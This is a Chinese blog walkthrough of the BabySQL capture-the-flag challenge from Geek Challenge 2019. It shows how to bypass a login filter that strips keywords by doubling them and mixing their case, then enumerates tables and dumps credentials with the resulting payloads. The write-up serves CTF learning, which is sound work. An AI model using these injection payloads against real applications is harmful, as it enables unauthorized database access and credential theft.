[极客大挑战 2019]BabySQL

web
第七题

[极客大挑战 2019]BabySQL

打开靶场
在这里插入图片描述
根据提示,作者很可能对输入进行了过滤
仍旧先尝试永真式进行登陆

在这里插入图片描述
在这里插入图片描述
根据报错提示,or应该是被过滤掉了
那么就要想到绕过过滤的方法
参考:SQL注入 绕过and和or过滤

这里可以使用双写加大小写OorR或者使用 || 进行绕过
在这里插入图片描述在这里插入图片描述
得到admin账号和密码,与我做的第五题web第五题一样,密码解密不出来,没什么用

既然有报错,那么肯定存在sql注入,尝试常规的注入手段
猜解字段数
在这里插入图片描述
在这里插入图片描述
看来or 和by 都被过滤了
参考了一下大佬的文章:SQL注入一些过滤及绕过总结
首先尝试使用注释进行绕过
在这里插入图片描述
在这里插入图片描述
看来*也被过滤了,但是可以发现by还在,那么双写应该可以通过

尝试双写加大小写绕过
在这里插入图片描述
在这里插入图片描述
看来已经绕过了,但是字段数不是4
尝试3
在这里插入图片描述
没有报错,那么字段数为3
接下来就要使用联合查询

1' union select 1,2,3 #

在这里插入图片描述
显然,union和select也被过滤掉
由上面可知,*被过滤了,那么注释绕过行不通,还是尝试双关键字加大小写进行尝试

1' UnunionIoN SeSeLectLeCt 1,2,3 #

在这里插入图片描述
成功!
回显字段为2,3

查询数据库中的表名,注意查询语句中的or也要进行绕过,尝试

1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) from infOorrmation_schema.tables where table_schema=database() #

在这里插入图片描述
看来information_schema前面的某个东西和where也被过滤了,猜测是from被过滤,进行绕过尝试

1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) frofromm infoOrrmation_schema.tables wherwheree table_schema=database() #

在这里插入图片描述
猜测成功,得到数据库有2张表,根据上面拿到的用户名和密码,猜测登陆页面的查询来自geekeruser,猜测flag在b4bsql表中
对b4bsql表进行查询

1' UnunionIoN SesEleCtlEcT 1,2,group_concat(column_name) frofromm infoORrmation_schema.columns whwhereere table_name='b4bsql' #

在这里插入图片描述
额。。和我做的第五题好像 第五题

直接查询表中信息

1' UnunionIoN SesEleCtlEcT 1,username,passwoORrd frofromm b4bsql whwhereere id=1 #

在这里插入图片描述
id=2
在这里插入图片描述
id=3
在这里插入图片描述

id=8
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值